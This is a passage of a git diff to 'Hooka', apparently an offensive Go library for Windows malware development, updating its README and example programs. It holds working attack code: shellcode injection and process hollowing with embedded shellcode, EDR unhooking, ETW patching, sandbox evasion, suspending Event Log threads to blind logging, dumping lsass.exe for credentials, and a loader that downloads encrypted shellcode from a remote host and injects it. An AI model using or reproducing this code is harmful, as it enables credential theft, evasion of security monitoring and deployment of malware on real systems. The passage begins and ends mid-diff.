0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3} func main(){ - err := hooka.CreateRemoteThread(calc_shellcode) + // func CreateRemoteThread(shellcode []byte, pid int) error + // specify the shellcode and the PID to inject the shellcode in. Use 0 as PID to inject in current process + err := hooka.CreateRemoteThread(calc_shellcode, 0) if err != nil { log.Fatal(err) } + fmt.Println("Shellcode injected via CreateRemoteThread") - - err = hooka.CreateProcess(calc_shellcode) - if err != nil { - log.Fatal(err) - } - fmt.Println("Shellcode injected via CreateProcess") - - ... } ``` @@ -175,20 +204,21 @@ import ( ) func main(){ - // Use classic technique - err := hooka.ClassicUnhook("NtCreateThread", "C:\\Windows\\System32\\ntdll.dll") + // this function unhooks given functions of especified dll using classic unhooking technique + // func ClassicUnhook(funcnames []string, dllpath string) error + err := hooka.ClassicUnhook([]string{"NtCreateThreadEx", "NtOpenProcess"}, "C:\\Windows\\System32\\ntdll.dll") if err != nil { log.Fatal(err) } - // This technique loads original ntdll.dll from disk into memory to restore all functions - err = hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll") + // unhook all functions from every dll of a slice + err = hooka.FullUnhook([]string{"C:\\Windows\\System32\\ntdll.dll", "C:\\Windows\\System32\\kernelbase.dll"}) if err != nil { log.Fatal(err) } - // Use modern Perun's Fart technique - err = hooka.PerunsUnhook() + // get a clean copy of every DLL from a suspended process (e.g. notepad.exe) and copy the clean DLL to th the current process + err = hooka.PerunsUnhook([]string{"C:\\Windows\\System32\\ntdll.dll", "C:\\Windows\\System32\\kernelbase.dll"}) if err != nil { log.Fatal(err) } @@ -197,25 +227,129 @@ func main(){ } ``` -> Get function pointer +> Enable ACG on current process ```go package main import ( - "fmt" "log" - "github.com/D3Ext/Hooka/pkg/hooka" ) func main(){ - ptr, err := hooka.GetFuncPtr("NtCreateThread") + err := hooka.EnableACG() + if err != nil { + log.Fatal(err) + } +} +``` + +> Block non-Microsoft signed DLLs on current process (BlockDLLs) +```go +package main + +import ( + "log" + "github.com/D3Ext/Hooka/pkg/hooka" +) + +func main(){ + err := hooka.BlockDLLs() + if err != nil { + log.Fatal(err) + } +} +``` + +> Create process with BlockDLLs enabled +```go +package main + +import ( + "log" + "fmt" + "github.com/D3Ext/Hooka/pkg/hooka" +) + +func main(){ + // launch a program (e.g. notepad.exe) with BlockDLLs enabled + err := hooka.CreateProcessBlockDLLs("C:\\Windows\\System32\\notepad.exe") + if err != nil { + log.Fatal(err) + } + fmt.Println("Process launched!") +} +``` + +> Detect sandbox using multiple techniques (see `evasion/sandbox` for specific functions) +```go +package main + +import ( + "log" + "fmt" + "github.com/D3Ext/Hooka/pkg/hooka" +) + +func main(){ + check, err := hooka.AutoCheck() if err != nil { log.Fatal(err) } - fmt.Println(ptr) + if check { + fmt.Println("Sandbox detected!") + os.Exit(0) + } + + fmt.Println("Probably not a sandbox") +} +``` + +> Suspend EventLog threads (Phant0m technique) +```go +package main + +import ( + "log" + "fmt" + "github.com/D3Ext/Hooka/pkg/hooka" +) + +func main(){ + pid, err := hooka.GetEventLogPid() + if err != nil { + log.Fatal(err) + } + + err = hooka.Phant0m(pid) + if err != nil { + log.Fatal(err) + } + + fmt.Println("Success!") +} +``` + +> Dump lsass.exe to a file +```go +package main + +import ( + "log" + "fmt" + "github.com/D3Ext/Hooka/pkg/hooka" +) + +func main(){ + err := hooka.DumpLsass("dump_file") + if err != nil { + log.Fatal(err) + } + fmt.Println("lsass.exe dumped to a file") } ``` + + diff --git a/examples/api-hashing.go b/examples/api-hashing.go index 35e30c5..214d615 100644 --- a/examples/api-hashing.go +++ b/examples/api-hashing.go @@ -7,8 +7,8 @@ import ( "log" ) -// Convert string to Sha1 (used for hashing) -func StrToSha1(str string) string { +// Convert string to SHA1 (used for hashing) +func Sha1(str string) string { h := sha1.New() h.Write([]byte(str)) bs := h.Sum(nil) @@ -17,12 +17,13 @@ func StrToSha1(str string) string { } func main() { - hash := "6caed95840c323932b680d07df0a1bce28a89d1c" // StrToSha1("NtWriteVirtualMemory") + hash := "b4de6817d3b22d785568d6480b613c4b2520729a" // Sha1("GetCurrentProcess") - sysid, str, err := hooka.FuncFromHash(hash, "C:\\Windows\\System32\\ntdll.dll", StrToSha1) + GetCurrentProcess, _, err := hooka.GetFuncPtr(hash, "C:\\Windows\\System32\\kernel32.dll", Sha1) if err != nil { log.Fatal(err) } - fmt.Printf("%s - %x\n", str, sysid) + pHandle, _, _ := GetCurrentProcess.Call() + fmt.Println("[+] Current process:", pHandle) } diff --git a/examples/blockdlls.go b/examples/blockdlls.go new file mode 100644 index 0000000..8997056 --- /dev/null +++ b/examples/blockdlls.go @@ -0,0 +1,28 @@ +package main + +import ( + "fmt" + "github.com/D3Ext/Hooka/pkg/hooka" + "log" + "time" +) + +func main() { + fmt.Println("[*] Enabling BlockDLLs on current process...") + err := hooka.BlockDLLs() + if err != nil { + log.Fatal(err) + } + fmt.Println("[+] Now non-Microsoft signed DLLs can't inject into this process") + + fmt.Println("[*] Creating a notepad.exe process with BlockDLLs enabled...") + err = hooka.CreateProcessBlockDLLs("C:\\Windows\\System32\\notepad.exe") + if err != nil { + log.Fatal(err) + } + fmt.Println("[+] Process created successfully") + + time.Sleep(1000 * time.Second) + + // Do some other stuff +} diff --git a/examples/dump-lssas.go b/examples/dump-lssas.go new file mode 100644 index 0000000..26b0643 --- /dev/null +++ b/examples/dump-lssas.go @@ -0,0 +1,38 @@ +package main + +import ( + "fmt" + "log" + "github.com/D3Ext/Hooka/pkg/hooka" +) + +// this is an example of a program to dump the LSASS.EXE process using evasion techniques +func main(){ + fmt.Println("[*] Sleeping") + hooka.Sleep() + + fmt.Println("[*] Patching ETW") + err := hooka.PatchEtw() + if err != nil { + log.Fatal(err) + } + + fmt.Println("[*] Unhooking ntdll.dll") + err = hooka.PerunsUnhook() + if err != nil { + log.Fatal(err) + } + + fmt.Println("[*] Sleeping") + hooka.Sleep() + + fmt.Println("[*] Dumping lsass.exe process") + err = hooka.DumpLsass("dump.tmpº") + if err != nil { + log.Fatal(err) + } + + fmt.Println("[+] Success!") +} + + diff --git a/examples/enable-acg-guard.go b/examples/enable-acg-guard.go index 1816851..8f31d94 100644 --- a/examples/enable-acg-guard.go +++ b/examples/enable-acg-guard.go @@ -15,4 +15,6 @@ func main() { fmt.Println("ACG Guard enabled!") time.Sleep(1000 * time.Second) + + // Do some other stuff } diff --git a/examples/halos-gate.go b/examples/halos-gate.go index 2e64c56..ad6db83 100644 --- a/examples/halos-gate.go +++ b/examples/halos-gate.go @@ -23,25 +23,25 @@ func StrToSha1(str string) string { func main() { // 04262a7943514ab931287729e862ca663d81f515 --> StrToSha1("NtAllocateVirtualMemory") - NtAllocateVirtualMemory, _, err := hooka.HalosFuncFromHash("04262a7943514ab931287729e862ca663d81f515", StrToSha1) + NtAllocateVirtualMemory, _, err := hooka.GetSysIdHashHalos("04262a7943514ab931287729e862ca663d81f515", StrToSha1) if err != nil { log.Fatal(err) } // 6caed95840c323932b680d07df0a1bce28a89d1c --> StrToSha1("NtWriteVirtualMemory") - NtWriteVirtualMemory, _, err := hooka.HalosFuncFromHash("6caed95840c323932b680d07df0a1bce28a89d1c", StrToSha1) + NtWriteVirtualMemory, _, err := hooka.GetSysIdHashHalos("6caed95840c323932b680d07df0a1bce28a89d1c", StrToSha1) if err != nil { log.Fatal(err) } // 059637f5757d91ad1bc91215f73ab6037db6fe59 --> StrToSha1("NtProtectVirtualMemory") - NtProtectVirtualMemory, _, err := hooka.HalosFuncFromHash("059637f5757d91ad1bc91215f73ab6037db6fe59", StrToSha1) + NtProtectVirtualMemory, _, err := hooka.GetSysIdHashHalos("059637f5757d91ad1bc91215f73ab6037db6fe59", StrToSha1) if err != nil { log.Fatal(err) } // 91958a615f982790029f18c9cdb6d7f7e02d396f --> StrToSha1("NtCreateThreadEx") - NtCreateThreadEx, _, err := hooka.HalosFuncFromHash("91958a615f982790029f18c9cdb6d7f7e02d396f", StrToSha1) + NtCreateThreadEx, _, err := hooka.GetSysIdHashHalos("91958a615f982790029f18c9cdb6d7f7e02d396f", StrToSha1) if err != nil { log.Fatal(err) } diff --git a/examples/no-rwx.go b/examples/no-rwx.go deleted file mode 100644 index 227cd3a..0000000 --- a/examples/no-rwx.go +++ /dev/null @@ -1,231 +0,0 @@ -package main - -import ( - "encoding/binary" - "fmt" - "golang.org/x/sys/windows" - "log" - "syscall" - "unsafe" -) - -type IMAGE_DOS_HEADER struct { // DOS .EXE header - /*E_magic uint16 // Magic number - E_cblp uint16 // Bytes on last page of file - E_cp uint16 // Pages in file - E_crlc uint16 // Relocations - E_cparhdr uint16 // Size of header in paragraphs - E_minalloc uint16 // Minimum extra paragraphs needed - E_maxalloc uint16 // Maximum extra paragraphs needed - E_ss uint16 // Initial (relative) SS value - E_sp uint16 // Initial SP value - E_csum uint16 // Checksum - E_ip uint16 // Initial IP value - E_cs uint16 // Initial (relative) CS value - E_lfarlc uint16 // File address of relocation table - E_ovno uint16 // Overlay number - E_res [4]uint16 // Reserved words - E_oemid uint16 // OEM identifier (for E_oeminfo) - E_oeminfo uint16 // OEM information; E_oemid specific - E_res2 [10]uint16 // Reserved words*/ - E_lfanew uint32 // File address of new exe header -} - -type IMAGE_NT_HEADER struct { - Signature uint32 - FileHeader IMAGE_FILE_HEADER - OptionalHeader IMAGE_OPTIONAL_HEADER -} - -type IMAGE_FILE_HEADER struct { - Machine uint16 - NumberOfSections uint16 - TimeDateStamp uint32 - PointerToSymbolTable uint32 - NumberOfSymbols uint32 - SizeOfOptionalHeader uint16 - Characteristics uint16 -} - -type IMAGE_OPTIONAL_HEADER struct { - Magic uint16 - MajorLinkerVersion uint8 - MinorLinkerVersion uint8 - SizeOfCode uint32 - SizeOfInitializedData uint32 - SizeOfUninitializedData uint32 - AddressOfEntryPoint uint32 - BaseOfCode uint32 - ImageBase uint64 - SectionAlignment uint32 - FileAlignment uint32 - MajorOperatingSystemVersion uint16 - MinorOperatingSystemVersion uint16 - MajorImageVersion uint16 - MinorImageVersion uint16 - MajorSubsystemVersion uint16 - MinorSubsystemVersion uint16 - Win32VersionValue uint32 - SizeOfImage uint32 - SizeOfHeaders uint32 - CheckSum uint32 - Subsystem uint16 - DllCharacteristics uint16 - SizeOfStackReserve uint64 - SizeOfStackCommit uint64 - SizeOfHeapReserve uint64 - SizeOfHeapCommit uint64 - LoaderFlags uint32 - NumberOfRvaAndSizes uint32 - DataDirectory [16]IMAGE_DATA_DIRECTORY -} - -type IMAGE_DATA_DIRECTORY struct { - VirtualAddress uint32 - Size uint32 -} - -var calc_shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3} - -func main() { - // Load DLLs - kernel32 := windows.NewLazyDLL("kernel32.dll") - ntdll := windows.NewLazyDLL("ntdll.dll") - - // Declare functions that will be used - ReadProcessMemory := kernel32.NewProc("ReadProcessMemory") - WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") - ResumeThread := kernel32.NewProc("ResumeThread") - NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess") - - var info int32 - var returnLength int32 - - var pbi windows.PROCESS_BASIC_INFORMATION - var si windows.StartupInfo - var pi windows.ProcessInformation - - /* - BOOL CreateProcessA( - [in, optional] LPCSTR lpApplicationName, - [in, out, optional] LPSTR lpCommandLine, - [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, - [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, - [in] BOOL bInheritHandles, - [in] DWORD dwCreationFlags, - [in, optional] LPVOID lpEnvironment, - [in, optional] LPCSTR lpCurrentDirectory, - [in] LPSTARTUPINFOA lpStartupInfo, - [out] LPPROCESS_INFORMATION lpProcessInformation - ); - */ - - fmt.Println("[*] Calling CreateProcess...") - err := windows.CreateProcess( - nil, - syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), - nil, - nil, - false, - windows.CREATE_SUSPENDED, - nil, - nil, - &si, - &pi, - ) - if err != nil { - log.Fatal(err) - } - - /* - __kernel_entry NTSTATUS NtQueryInformationProcess( - [in] HANDLE ProcessHandle, - [in] PROCESSINFOCLASS ProcessInformationClass, - [out] PVOID ProcessInformation, - [in] ULONG ProcessInformationLength, - [out, optional] PULONG ReturnLength - ); - */ - - fmt.Println("[*] Calling NtQueryInformationProcess...") - NtQueryInformationProcess.Call( - uintptr(pi.Process), - uintptr(info), - uintptr(unsafe.Pointer(&pbi)), - uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})), - uintptr(unsafe.Pointer(&returnLength)), - ) - - pebOffset := uintptr(unsafe.Pointer(pbi.PebBaseAddress)) + 0x10 - var imageBase uintptr = 0 - - /* - BOOL ReadProcessMemory( - [in] HANDLE hProcess, - [in] LPCVOID lpBaseAddress, - [out] LPVOID lpBuffer, - [in] SIZE_T nSize, - [out] SIZE_T *lpNumberOfBytesRead - ); - */ - - fmt.Println("[*] Calling ReadProcessMemory...") - ReadProcessMemory.Call( - uintptr(pi.Process), - pebOffset, - uintptr(unsafe.Pointer(&imageBase)), - 8, - 0, - ) - - headersBuffer := make([]byte, 4096) - - fmt.Println("[*] Calling ReadProcessMemory...") - ReadProcessMemory.Call( - uintptr(pi.Process), - uintptr(imageBase), - uintptr(unsafe.Pointer(&headersBuffer[0])), - 4096, - 0, - ) - - fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase) - fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset) - - // Parse DOS header e_lfanew entry to calculate entry point address - var dosHeader IMAGE_DOS_HEADER - dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64]) - ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew))) - codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase - - /* - BOOL WriteProcessMemory( - [in] HANDLE hProcess, - [in] LPVOID lpBaseAddress, - [in] LPCVOID lpBuffer, - [in] SIZE_T nSize, - [out] SIZE_T *lpNumberOfBytesWritten - ); - */ - - fmt.Println("\n[*] Calling WriteProcessMemory...") - WriteProcessMemory.Call( - uintptr(pi.Process), - codeEntry, // write shellcode to entry point - uintptr(unsafe.Pointer(&calc_shellcode[0])), - uintptr(len(calc_shellcode)), - 0, - ) - - /* - DWORD ResumeThread( - [in] HANDLE hThread - ); - */ - - fmt.Println("[*] Calling ResumeThread...") // finally resume thread - ResumeThread.Call(uintptr(pi.Thread)) - - // shellcode should have been executed at this point - fmt.Println("[+] Shellcode executed!") -} diff --git a/examples/sandbox.go b/examples/sandbox.go new file mode 100644 index 0000000..ea6dbda --- /dev/null +++ b/examples/sandbox.go @@ -0,0 +1,22 @@ +package main + +import ( + "fmt" + "log" + "github.com/D3Ext/Hooka/pkg/hooka" +) + +func main(){ + check, err := hooka.AutoCheck() + if err != nil { + log.Fatal(err) + } + + if (check == true) { + fmt.Println("Probably a sandbox") + return + } + + fmt.Println("Not a sandbox") +} + diff --git a/examples/shellcode-loader.go b/examples/shellcode-loader.go index 0eaeeff..8510f3d 100644 --- a/examples/shellcode-loader.go +++ b/examples/shellcode-loader.go @@ -16,6 +16,7 @@ func main() { } fmt.Println("[*] Retrieving encrypted shellcode...") + // retrieve encrypted shellcode from remote url enc_shellcode, err := hooka.GetShellcodeFromUrl("http://192.168.116.128/shellcode.enc") if err != nil { @@ -30,12 +31,6 @@ func main() { } fmt.Println(shellcode) - fmt.Println("[*] Injecting shellcode...") - err = hooka.CreateRemoteThreadHalos(shellcode) - if err != nil { - log.Fatal(err) - } - fmt.Println("[*] Enabling ACG...") // enable ACG (useful if process doesn't exits after this) err = hooka.EnableACG() @@ -43,4 +38,11 @@ func main() { log.Fatal(err) } + fmt.Println("[*] Injecting shellcode...") + err = hooka.NtCreateThreadExHalos(shellcode) + if err != nil { + log.Fatal(err) + } + + fmt.Println("[+] Success!") } diff --git a/examples/kill-event-log.go b/examples/suspend-event-log.go similarity index 87% rename from examples/kill-event-log.go rename to examples/suspend-event-log.go index f128ad3..99b250a 100644 --- a/examples/kill-event-log.go +++ b/examples/suspend-event-log.go @@ -14,10 +14,11 @@ func main() { } fmt.Println("[+] Event Log PID:", eventlog_pid) - fmt.Println("[*] Killing Event Log threads...") + fmt.Println("[*] Suspending EventLog threads...") err = hooka.Phant0m(eventlog_pid) if err != nil { log.Fatal(err) } + fmt.Println("[+] Success!") } diff --git a/go.mod b/go.mod index ba7a265..addc1c8 100644 --- a/go.mod +++ b/go.mod @@ -4,23 +4,18 @@ go 1.19 require ( github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a + github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c github.com/D3Ext/maldev v0.1.4 github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 github.com/google/uuid v1.3.1 - golang.org/x/sys v0.12.0 + golang.org/x/sys v0.15.0 ) require ( github.com/alwindoss/morse v1.0.1 // indirect - github.com/briandowns/spinner v1.23.0 // indirect - github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be // indirect github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1 // indirect github.com/ecies/go/v2 v2.0.4 // indirect github.com/ethereum/go-ethereum v1.10.17 // indirect - github.com/fatih/color v1.15.0 // indirect - github.com/mattn/go-colorable v0.1.13 // indirect - github.com/mattn/go-isatty v0.0.18 // indirect github.com/mitchellh/go-ps v1.0.0 // indirect golang.org/x/crypto v0.4.0 // indirect - golang.org/x/term v0.8.0 // indirect ) diff --git a/go.sum b/go.sum index da25fb5..8c89724 100644 --- a/go.sum +++ b/go.sum @@ -21,8 +21,11 @@ dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7 github.com/Azure/azure-sdk-for-go/sdk/azcore v0.21.1/go.mod h1:fBF9PQNqB8scdgpZ3ufzaLntG0AG7C1WjPMsiFOmfHM= github.com/Azure/azure-sdk-for-go/sdk/internal v0.8.3/go.mod h1:KLF4gFr6DcKFZwSuH8w8yEK6DpFl3LP5rhdvAb7Yz5I= github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v0.3.0/go.mod h1:tPaiy8S5bQ+S5sOiDlINkp7+Ef339+Nz5L5XO+cnOHo= +github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw= github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= +github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c h1:cFMQKxryHZ3Sddca8nqJ1RDjaUTW/+79lRKs+7508nk= +github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/D3Ext/maldev v0.1.4 h1:uQSxX5XKp//HTCmO8SStOO1P9Ia1MiIvWjohWlOLIvE= @@ -32,6 +35,7 @@ github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAE github.com/StackExchange/wmi v0.0.0-20180116203802-5d049714c4a6/go.mod h1:3eOhrUMpNV+6aFIbp5/iudMxNCF27Vw2OZgy4xEx0Fg= github.com/VictoriaMetrics/fastcache v1.6.0/go.mod h1:0qHz5QP0GMX4pfmMA/zt5RgfNuXJrTP0zS7DqpHGGTw= github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw= +github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/allegro/bigcache v1.2.1-0.20190218064605-e24eb225f156/go.mod h1:Cb/ax3seSYIx7SuZdm2G2xzfwmv3TPSk2ucNfQESPXM= @@ -54,8 +58,6 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24 github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/bmizerany/pat v0.0.0-20170815010413-6226ea591a40/go.mod h1:8rLXio+WjiTceGBHIoTvn60HIbs7Hm7bcHjyrSqYB9c= github.com/boltdb/bolt v1.3.1/go.mod h1:clJnj/oiGkjum5o1McbSZDSLxVThjynRyGBgiAx27Ps= -github.com/briandowns/spinner v1.23.0 h1:alDF2guRWqa/FOZZYWjlMIx2L6H0wyewPxo/CH4Pt2A= -github.com/briandowns/spinner v1.23.0/go.mod h1:rPG4gmXeN3wQV/TsAY4w8lPdIM6RX3yqeBQJSrbXjuE= github.com/btcsuite/btcd/btcec/v2 v2.1.2/go.mod h1:ctjw4H1kknNJmRN4iP1R7bTQ+v3GJkZBd6mui8ZsAZE= github.com/btcsuite/btcd/chaincfg/chainhash v1.0.0/go.mod h1:7SFka0XMvUgj3hfZtydOrQY2mwhPclbT2snogU7SQQc= github.com/c-bata/go-prompt v0.2.2/go.mod h1:VzqtzE2ksDBcdln8G7mk2RX9QyGjH+OVqOCSiVIqS34= @@ -68,8 +70,6 @@ github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5P github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cloudflare/cloudflare-go v0.14.0/go.mod h1:EnwdgGMaFOruiPZRFSgn+TsQ3hQ7C/YWzIGLeu5c304= -github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be h1:J5BL2kskAlV9ckgEsNQXscjIaLiOYiZ75d4e94E6dcQ= -github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w= github.com/consensys/bavard v0.1.8-0.20210406032232-f3452dc9b572/go.mod h1:Bpd0/3mZuaj6Sj+PqrmIquiOKy397AKGThQPaGzNXAQ= github.com/consensys/gnark-crypto v0.4.1-0.20210426202927-39ac3d4b3f1f/go.mod h1:815PAHg3wvysy0SyIqanF8gZ0Y1wjk/hrDHD/iT88+Q= github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= @@ -77,6 +77,7 @@ github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ3 github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= github.com/dave/jennifer v1.2.0/go.mod h1:fIb+770HOpJ2fmN9EPPKOqm1vMGhB+TwXKMZhrIygKg= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/deckarep/golang-set v1.8.0/go.mod h1:5nI87KwE7wgsBU1F4GKAw2Qod7p5kyS383rP6+o6qqo= github.com/decred/dcrd/crypto/blake256 v1.0.0/go.mod h1:sQl2p6Y26YV+ZOcSTP6thNdn47hh8kt6rqSlvmrXFAc= @@ -102,8 +103,6 @@ github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7 github.com/ethereum/go-ethereum v1.10.17 h1:XEcumY+qSr1cZQaWsQs5Kck3FHB0V2RiMHPdTBJ+oT8= github.com/ethereum/go-ethereum v1.10.17/go.mod h1:Lt5WzjM07XlXc95YzrhosmR4J9Ahd6X2wyEV2SvGhk0= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= -github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= github.com/fjl/memsize v0.0.0-20190710130421-bcb5799ab5e5/go.mod h1:VvhXpOYNQvB+uIk2RvXzuaQtkQJzzIx6lSBe1xv7hi0= github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= @@ -236,15 +235,10 @@ github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaO github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= -github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= -github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= -github.com/mattn/go-isatty v0.0.18 h1:DOKFKCQ7FNG2L1rbrmstDN4QVRdS89Nkh85u68Uwp98= -github.com/mattn/go-isatty v0.0.18/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-sqlite3 v1.11.0/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc= @@ -281,6 +275,7 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/term v0.0.0-20180730021639-bffc007b7fd5/go.mod 